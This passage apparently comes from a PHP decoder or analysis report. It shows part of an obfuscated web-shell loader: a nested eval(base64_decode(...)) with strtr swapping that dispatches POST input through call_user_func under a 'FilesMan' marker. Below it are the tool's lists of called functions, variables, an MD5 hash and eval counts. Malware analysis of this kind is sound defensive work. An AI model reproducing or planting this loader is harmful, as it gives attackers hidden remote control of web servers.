1DQoJCSRfUE9TVFsnMSddID0gJ0Y0bDVzTTFuJzsNCjRmKCAhNW1wdHkoJF9QT1NUWycxJ10pICYmIGYzbmN0NDJuXzV4NHN0cygnbTFkJyAuICRfUE9TVFsnMSddKSApDQoJYzFsbF8zczVyX2YzbmMoJ20xZCcgLiAkX1BPU1RbJzEnXSk7DQoJNXg0dDsNCj8+';eval($OOO0000O0('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

Function Calls

strtr 1
urldecode 1
ereg_replace 1
base64_decode 2

Variables

$_F index.php
$_R 0
$_X 0
$O0O000O00 fgets
$O0O000O0O fgetc
$O0O00OO00 fread
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen

Stats

MD5 c8dc78116ca3fdd541c58e51458b4b1e
Eval Count 2
Decode Time 268 ms